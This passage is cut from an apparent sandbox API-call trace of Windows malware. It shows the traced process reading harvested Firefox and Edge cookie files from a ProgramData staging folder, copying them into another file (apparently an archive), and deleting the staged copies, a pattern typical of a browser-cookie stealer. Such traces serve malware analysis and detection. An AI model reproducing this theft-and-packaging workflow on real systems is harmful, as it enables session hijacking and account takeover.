lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.697] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.697] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.697] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.697] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.697] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.697] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.697] WriteFile (in: hFile=0x394, lpBuffer=0x19e3c8*, nNumberOfBytesToWrite=0x35, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e3c8*, lpNumberOfBytesWritten=0x19e228*=0x35, lpOverlapped=0x0) returned 1 [0053.697] WriteFile (in: hFile=0x394, lpBuffer=0x19e6fc*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e6fc*, lpNumberOfBytesWritten=0x19e228*=0x11, lpOverlapped=0x0) returned 1 [0053.698] GetDesktopWindow () returned 0x10010 [0053.698] GetTickCount () returned 0x2164d [0053.698] GetLastError () returned 0x0 [0053.698] ReadFile (in: hFile=0x3b0, lpBuffer=0x25ebf40, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x19e208, lpOverlapped=0x0 | out: lpBuffer=0x25ebf40*, lpNumberOfBytesRead=0x19e208*=0x1a4b, lpOverlapped=0x0) returned 1 [0053.698] ReadFile (in: hFile=0x3b0, lpBuffer=0x25ed98b, nNumberOfBytesToRead=0xe5b5, lpNumberOfBytesRead=0x19e1d4, lpOverlapped=0x0 | out: lpBuffer=0x25ed98b*, lpNumberOfBytesRead=0x19e1d4*=0x0, lpOverlapped=0x0) returned 1 [0053.698] WriteFile (in: hFile=0x394, lpBuffer=0x1f0e534*, nNumberOfBytesToWrite=0xa81, lpNumberOfBytesWritten=0x19e1c8, lpOverlapped=0x0 | out: lpBuffer=0x1f0e534*, lpNumberOfBytesWritten=0x19e1c8*=0xa81, lpOverlapped=0x0) returned 1 [0053.704] CloseHandle (hObject=0x3b0) returned 1 [0053.704] SetFilePointer (in: hFile=0x394, lDistanceToMove=162, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa2 [0053.704] WriteFile (in: hFile=0x394, lpBuffer=0x19e24f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e24f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.705] WriteFile (in: hFile=0x394, lpBuffer=0x19e24f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e24f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.705] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.705] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.705] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.705] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.705] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.705] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.705] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.705] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.705] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.705] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.705] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.705] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.705] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.705] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.706] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.706] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.706] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.706] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.706] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.706] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.706] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.706] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.706] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.706] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.706] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.706] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.706] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.706] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.706] WriteFile (in: hFile=0x394, lpBuffer=0x19e3c8*, nNumberOfBytesToWrite=0x35, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e3c8*, lpNumberOfBytesWritten=0x19e228*=0x35, lpOverlapped=0x0) returned 1 [0053.707] WriteFile (in: hFile=0x394, lpBuffer=0x19e6fc*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e6fc*, lpNumberOfBytesWritten=0x19e228*=0x11, lpOverlapped=0x0) returned 1 [0053.707] SetFilePointer (in: hFile=0x394, lDistanceToMove=2951, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb87 [0053.707] DeleteFileW (lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\cookies_Mozilla Firefox_8i341t8m.default.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\cookies\\cookies_mozilla firefox_8i341t8m.default.txt")) returned 1 [0053.708] FindNextFileW (in: hFindFile=0x58a0c0, lpFindFileData=0x19e78c | out: lpFindFileData=0x19e78c) returned 1 [0053.708] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies" [0053.708] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\" [0053.708] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\", lpString2="Edge_Cookies.txt" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\Edge_Cookies.txt") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\Edge_Cookies.txt" [0053.708] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\Cookies" | out: lpString1="\\Cookies") returned="\\Cookies" [0053.708] lstrcatW (in: lpString1="\\Cookies", lpString2="\\" | out: lpString1="\\Cookies\\") returned="\\Cookies\\" [0053.708] lstrcatW (in: lpString1="\\Cookies\\", lpString2="Edge_Cookies.txt" | out: lpString1="\\Cookies\\Edge_Cookies.txt") returned="\\Cookies\\Edge_Cookies.txt" [0053.708] PathMatchSpecW (pszFile="Edge_Cookies.txt", pszSpec="*.*") returned 1 [0053.708] CreateFileA (lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies\\Edge_Cookies.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\cookies\\edge_cookies.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0053.708] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb87 [0053.708] GetFileInformationByHandle (in: hFile=0x3b0, lpFileInformation=0x19e1b8 | out: lpFileInformation=0x19e1b8) returned 1 [0053.708] GetFileSize (in: hFile=0x3b0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x89a [0053.709] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.709] ReadFile (in: hFile=0x3b0, lpBuffer=0x19e1b0, nNumberOfBytesToRead=0x2, lpNumberOfBytesRead=0x19e1a0, lpOverlapped=0x0 | out: lpBuffer=0x19e1b0*, lpNumberOfBytesRead=0x19e1a0*=0x2, lpOverlapped=0x0) returned 1 [0053.709] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=36, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x24 [0053.709] ReadFile (in: hFile=0x3b0, lpBuffer=0x19e190, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x19e1a0, lpOverlapped=0x0 | out: lpBuffer=0x19e190*, lpNumberOfBytesRead=0x19e1a0*=0x4, lpOverlapped=0x0) returned 1 [0053.709] FileTimeToSystemTime (in: lpFileTime=0x19e174, lpSystemTime=0x19e158 | out: lpSystemTime=0x19e158) returned 1 [0053.709] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.709] WriteFile (in: hFile=0x394, lpBuffer=0x19e24f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e24f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.709] WriteFile (in: hFile=0x394, lpBuffer=0x19e24f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e24f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.709] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.709] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.709] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.709] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.709] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.709] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.709] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.709] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.709] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.710] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.710] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.710] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.710] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.710] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.710] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.710] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.710] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.710] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.710] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.710] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.710] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.710] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.710] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.710] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.711] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.711] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.711] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1f8, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1f8*=0x1, lpOverlapped=0x0) returned 1 [0053.711] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e1ec, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e1ec*=0x1, lpOverlapped=0x0) returned 1 [0053.711] WriteFile (in: hFile=0x394, lpBuffer=0x19e3c8*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e3c8*, lpNumberOfBytesWritten=0x19e228*=0x19, lpOverlapped=0x0) returned 1 [0053.711] WriteFile (in: hFile=0x394, lpBuffer=0x19e6fc*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e6fc*, lpNumberOfBytesWritten=0x19e228*=0x11, lpOverlapped=0x0) returned 1 [0053.711] GetDesktopWindow () returned 0x10010 [0053.711] GetTickCount () returned 0x2165c [0053.711] GetLastError () returned 0x0 [0053.711] ReadFile (in: hFile=0x3b0, lpBuffer=0x25ebf40, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x19e208, lpOverlapped=0x0 | out: lpBuffer=0x25ebf40*, lpNumberOfBytesRead=0x19e208*=0x89a, lpOverlapped=0x0) returned 1 [0053.711] ReadFile (in: hFile=0x3b0, lpBuffer=0x25ec7da, nNumberOfBytesToRead=0xf766, lpNumberOfBytesRead=0x19e1d4, lpOverlapped=0x0 | out: lpBuffer=0x25ec7da*, lpNumberOfBytesRead=0x19e1d4*=0x0, lpOverlapped=0x0) returned 1 [0053.711] WriteFile (in: hFile=0x394, lpBuffer=0x1f0e534*, nNumberOfBytesToWrite=0x3e0, lpNumberOfBytesWritten=0x19e1c8, lpOverlapped=0x0 | out: lpBuffer=0x1f0e534*, lpNumberOfBytesWritten=0x19e1c8*=0x3e0, lpOverlapped=0x0) returned 1 [0053.711] CloseHandle (hObject=0x3b0) returned 1 [0053.712] SetFilePointer (in: hFile=0x394, lDistanceToMove=2951, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb87 [0053.712] WriteFile (in: hFile=0x394, lpBuffer=0x19e24f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e228, lpOverlapped=0x0 | out: lpBuffer=0x19e24f*, lpNumberOfBytesWritten=0x19e228*=0x1, lpOverlapped=0x0) returned 1 [0053.712] WriteFile (in: hFile=0x394, lpBuffer=0x19e24f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e21c, lpOverlapped=0x0 | out: lpBuffer=0x19e24f*, lpNumberOfBytesWritten=0x19e21c*=0x1, lpOverlapped=0x0) returned 1 [0053.712] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e210, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e210*=0x1, lpOverlapped=0x0) returned 1 [0053.712] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e204, lpOverlapped=0x0 | out: lpBuffer=0x19e25f*, lpNumberOfBytesWritten=0x19e204*=0x1, lpOverlapped=0x0) returned 1 [0053.712] WriteFile (in: hFile=0x394, lpBuffer=0x19e25f*, nNumberOfBytesToWrite=0x1, 